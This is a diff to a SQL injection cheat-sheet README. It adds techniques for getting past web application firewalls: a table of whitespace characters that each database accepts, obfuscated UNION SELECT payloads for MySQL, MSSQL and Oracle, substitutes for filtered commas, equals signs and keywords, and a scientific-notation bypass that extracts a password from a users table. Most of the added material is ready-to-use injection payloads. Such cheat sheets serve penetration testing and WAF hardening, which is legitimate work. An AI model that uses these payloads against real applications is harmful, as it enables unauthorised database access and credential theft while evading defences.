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SQLi: Whitespace alternatives + WAF Bypass

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SQL Injection/README.md
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@ -428,6 +428,8 @@ After this, we can simply authenticate with “admin@example.com” and the pass
## WAF Bypass
### White spaces alternatives
No Space (%20) - bypass using whitespace alternatives
```sql
@ -451,7 +453,24 @@ No Whitespace - bypass using parenthesis
?id=(1)and(1)=(1)--
```
No Comma - bypass using OFFSET, FROM and JOIN
Whitespace alternatives by DBMS
| DBMS | ASCII Characters in hexadicimal |
| ---- | ------------------------------- |
| SQLite3 | 0A, 0D, 0C, 09, 20 |
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
Example of query where spaces were replaced by ascii characters above 0x80
```
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```
### No Comma
Bypass using OFFSET, FROM and JOIN
```sql
LIMIT 0,1 -> LIMIT 1 OFFSET 0
@ -459,7 +478,9 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
No Equal - bypass using LIKE/NOT IN/IN/BETWEEN
### No Equal
Bypass using LIKE/NOT IN/IN/BETWEEN
```sql
?id=1 and substring(version(),1,1)like(5)
@ -468,7 +489,9 @@ No Equal - bypass using LIKE/NOT IN/IN/BETWEEN
?id=1 and substring(version(),1,1) between 3 and 4
```
Blacklist using keywords - bypass using uppercase/lowercase
### Case modification
Bypass using uppercase/lowercase (see keyword AND)
```sql
?id=1 AND 1=1#
@ -476,7 +499,7 @@ Blacklist using keywords - bypass using uppercase/lowercase
?id=1 aNd 1=1#
```
Blacklist using keywords case insensitive - bypass using an equivalent operator
Bypass using keywords case insensitive / Bypass using an equivalent operator
```sql
AND -> &&
@ -486,7 +509,49 @@ OR -> ||
WHERE -> HAVING
```
Information_schema.tables Alternative
### Obfuscation by DBMS
MySQL
```
1.UNION SELECT 2
3.2UNION SELECT 2
1e0UNION SELECT 2
SELECT\N/0.e3UNION SELECT 2
1e1AND-0.0UNION SELECT 2
1/*!12345UNION/*!31337SELECT/*!table_name*/
{ts 1}UNION SELECT.`` 1.e.table_name
SELECT $.`` 1.e.table_name
SELECT{_ .``1.e.table_name}
SELECT LightOS . ``1.e.table_name LightOS
SELECT informa4on_schema 1337.e.tables 13.37e.table_name
SELECT 1 from informa4on_schema 9.e.table_name
```
MSSQL
```
.1UNION SELECT 2
1.UNION SELECT.2alias
1e0UNION SELECT 2
1e1AND-1=0.0UNION SELECT 2
SELECT 0xUNION SELECT 2
SELECT\UNION SELECT 2
\1UNION SELECT 2
SELECT 1FROM[table]WHERE\1=\1AND\1=\1
SELECT"table_name"FROM[informa4on_schema].[tables]
```
Oracle
```
1FUNION SELECT 2
1DUNION SELECT 2
SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables
```
### More MySQL specific
`information_schema.tables` alternative
```sql
select * from mysql.innodb_table_stats;
@ -532,6 +597,21 @@ mysql> mysql> select version();
+-------------------------+
```
#### WAF bypass for MySQL using scientific notation
Blocked
```sql
' or ''='
```
Working
```sql
' or 1.e('')='
```
Obfuscated query
```sql
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
```
## References
* Detect SQLi
@ -565,3 +645,7 @@ mysql> mysql> select version();
* [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap:
* [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
* WAF:
* [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
* [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)